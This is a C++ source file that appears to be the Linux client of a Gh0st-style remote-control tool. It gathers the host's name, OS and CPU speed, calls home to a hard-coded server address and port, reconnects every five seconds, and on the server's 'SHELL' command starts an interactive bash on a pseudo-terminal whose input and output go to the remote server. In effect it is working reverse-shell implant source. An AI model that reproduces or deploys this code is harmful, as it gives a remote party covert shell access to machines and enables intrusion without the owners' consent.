258 lines
8.0 KiB
C++
258 lines
8.0 KiB
C++
#include "common/commands.h"
|
||
#include "client/IOCPClient.h"
|
||
#include <unistd.h>
|
||
#include <sys/utsname.h>
|
||
#include <string.h>
|
||
#include <termios.h>
|
||
#include <thread>
|
||
#include <fcntl.h>
|
||
#include <atomic>
|
||
#include <pty.h>
|
||
#include <iostream>
|
||
#include <mutex>
|
||
#include <stdexcept>
|
||
#include <cstdio>
|
||
#include <memory>
|
||
#include <array>
|
||
#include <regex>
|
||
#include <fstream>
|
||
|
||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
||
|
||
// 远程地址：当前为写死状态，如需调试，请按实际情况修改
|
||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "192.168.0.92", "6543", CLIENT_TYPE_LINUX};
|
||
|
||
// 全局状态
|
||
State g_bExit = S_CLIENT_NORMAL;
|
||
|
||
// 伪终端处理类：继承自IOCPManager.
|
||
class PTYHandler : public IOCPManager
|
||
{
|
||
public:
|
||
PTYHandler(IOCPClient *client) : m_client(client), m_running(false)
|
||
{
|
||
if (!client) {
|
||
throw std::invalid_argument("IOCPClient pointer cannot be null");
|
||
}
|
||
|
||
// 创建伪终端
|
||
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
|
||
throw std::runtime_error("Failed to create pseudo terminal");
|
||
}
|
||
|
||
// 设置伪终端为非阻塞模式
|
||
int flags = fcntl(m_master_fd, F_GETFL, 0);
|
||
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
|
||
|
||
// 启动 Shell 进程
|
||
startShell();
|
||
}
|
||
|
||
~PTYHandler()
|
||
{
|
||
m_running = false;
|
||
if (m_readThread.joinable()) m_readThread.join();
|
||
close(m_master_fd);
|
||
close(m_slave_fd);
|
||
}
|
||
|
||
// 启动读取线程
|
||
void Start()
|
||
{
|
||
if (m_running) return;
|
||
m_running = true;
|
||
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
|
||
}
|
||
|
||
virtual VOID OnReceive(PBYTE data, ULONG size)
|
||
{
|
||
if (size && data[0] == COMMAND_NEXT) {
|
||
Start();
|
||
return;
|
||
}
|
||
std::string s((char*)data, size);
|
||
Mprintf(s.c_str());
|
||
std::lock_guard<std::mutex> lock(m_mutex);
|
||
if (size > 0) {
|
||
write(m_master_fd, (char*)data, size);
|
||
}
|
||
}
|
||
private:
|
||
int m_master_fd, m_slave_fd;
|
||
IOCPClient *m_client;
|
||
std::thread m_readThread;
|
||
std::atomic<bool> m_running;
|
||
std::mutex m_mutex;
|
||
pid_t m_child_pid;
|
||
|
||
void startShell()
|
||
{
|
||
m_child_pid = fork();
|
||
if (m_child_pid == 0) { // 子进程
|
||
setsid(); // 创建新的会话
|
||
dup2(m_slave_fd, STDIN_FILENO);
|
||
dup2(m_slave_fd, STDOUT_FILENO);
|
||
dup2(m_slave_fd, STDERR_FILENO);
|
||
close(m_master_fd);
|
||
close(m_slave_fd);
|
||
|
||
// 关闭回显、禁用 ANSI 颜色、关闭 PS1
|
||
const char* shell_cmd =
|
||
"stty -echo -icanon; " // 禁用回显和规范模式
|
||
"export TERM=dumb; " // 设置终端类型为 dumb
|
||
"export LS_COLORS=''; " // 禁用颜色
|
||
"export PS1='>'; " // 设置提示符
|
||
//"clear; " // 清空终端
|
||
"exec /bin/bash --norc --noprofile -i"; // 启动 Bash
|
||
execl("/bin/bash", "/bin/bash", "-c", shell_cmd, nullptr);
|
||
exit(1);
|
||
}
|
||
}
|
||
|
||
void readFromPTY()
|
||
{
|
||
char buffer[4096];
|
||
while (m_running) {
|
||
ssize_t bytes_read = 0;
|
||
{
|
||
std::lock_guard<std::mutex> lock(m_mutex);
|
||
bytes_read = read(m_master_fd, buffer, sizeof(buffer));
|
||
}
|
||
if (bytes_read > 0) {
|
||
if (m_client) {
|
||
buffer[bytes_read] = 0;
|
||
Mprintf(buffer);
|
||
m_client->Send2Server(buffer, bytes_read);
|
||
}
|
||
} else if (bytes_read == -1) {
|
||
usleep(10000);
|
||
}
|
||
}
|
||
}
|
||
};
|
||
|
||
void *ShellworkingThread(void *param)
|
||
{
|
||
IOCPClient *ClientObject = new IOCPClient(g_bExit, true);
|
||
Mprintf(">>> Enter ShellworkingThread [%p]\n", ClientObject);
|
||
if ( !g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||
PTYHandler *handler=new PTYHandler(ClientObject);
|
||
ClientObject->setManagerCallBack(handler, IOCPManager::DataProcess);
|
||
BYTE bToken = TOKEN_SHELL_START;
|
||
ClientObject->Send2Server((char*)&bToken, 1);
|
||
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_SHELL_START\n", ClientObject);
|
||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL==g_bExit)
|
||
Sleep(1000);
|
||
|
||
delete handler;
|
||
}
|
||
delete ClientObject;
|
||
Mprintf(">>> Leave ShellworkingThread [%p]\n", ClientObject);
|
||
return NULL;
|
||
}
|
||
|
||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
if (szBuffer==nullptr || ulLength ==0)
|
||
return TRUE;
|
||
|
||
if (szBuffer[0] == COMMAND_BYE) {
|
||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||
g_bExit = S_CLIENT_EXIT;
|
||
} else if (szBuffer[0] == COMMAND_SHELL) {
|
||
pthread_t id = 0;
|
||
HANDLE m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, ShellworkingThread, nullptr);
|
||
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
|
||
} else if (szBuffer[0]==COMMAND_NEXT) {
|
||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||
} else {
|
||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
// 方法1: 解析 lscpu 命令（优先使用）
|
||
double parse_lscpu()
|
||
{
|
||
std::array<char, 128> buffer;
|
||
std::string result;
|
||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("lscpu", "r"), pclose);
|
||
if (!pipe) return -1.0;
|
||
|
||
while (fgets(buffer.data(), buffer.size(), pipe.get())) {
|
||
result += buffer.data();
|
||
}
|
||
|
||
// 匹配 "Model name" 中的频率（如 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz"）
|
||
std::regex model_regex("@ ([0-9.]+)GHz");
|
||
std::smatch match;
|
||
if (std::regex_search(result, match, model_regex) && match.size() > 1) {
|
||
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
||
}
|
||
return -1;
|
||
}
|
||
|
||
// 方法2: 解析 /proc/cpuinfo（备用）
|
||
double parse_cpuinfo()
|
||
{
|
||
std::ifstream cpuinfo("/proc/cpuinfo");
|
||
std::string line;
|
||
std::regex freq_regex("@ ([0-9.]+)GHz");
|
||
|
||
while (std::getline(cpuinfo, line)) {
|
||
if (line.find("model name") != std::string::npos) {
|
||
std::smatch match;
|
||
if (std::regex_search(line, match, freq_regex) && match.size() > 1) {
|
||
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
||
}
|
||
}
|
||
}
|
||
return -1;
|
||
}
|
||
|
||
// 一个基于Linux操作系统实现的受控程序例子: 当前只实现了注册、删除和终端功能.
|
||
int main()
|
||
{
|
||
char hostname[256]= {};
|
||
if (gethostname(hostname, sizeof(hostname)) == 0) {
|
||
std::cout << "Hostname: " << hostname << std::endl;
|
||
} else {
|
||
std::cerr << "Failed to get hostname" << std::endl;
|
||
}
|
||
struct utsname systemInfo= {};
|
||
if (uname(&systemInfo) == 0) {
|
||
std::cout << "System Name: " << systemInfo.sysname << std::endl;
|
||
} else {
|
||
std::cerr << "Failed to get system info" << std::endl;
|
||
}
|
||
|
||
LOGIN_INFOR logInfo;
|
||
strcpy(logInfo.szPCName, hostname);
|
||
strcpy(logInfo.OsVerInfoEx, systemInfo.sysname);
|
||
strcpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str());
|
||
double freq = parse_lscpu(); // 优先使用 lscpu
|
||
if (freq < 0) freq = parse_cpuinfo(); // 回退到 /proc/cpuinfo
|
||
logInfo.dwCPUMHz = freq > 0 ? static_cast<unsigned int>(freq) : 0;
|
||
logInfo.bWebCamIsExist = 0;
|
||
strcpy_s(logInfo.szReserved, "LNX");
|
||
|
||
IOCPClient *ClientObject = new IOCPClient(g_bExit, false);
|
||
ClientObject->setManagerCallBack(NULL, DataProcess);
|
||
while (!g_bExit) {
|
||
clock_t c = clock();
|
||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||
Sleep(5000);
|
||
}
|
||
|
||
ClientObject->SendLoginInfo(logInfo.Speed(clock()-c));
|
||
|
||
do {
|
||
Sleep(5000);
|
||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL==g_bExit);
|
||
}
|
||
|
||
delete ClientObject;
|
||
|
||
return 0;
|
||
}
|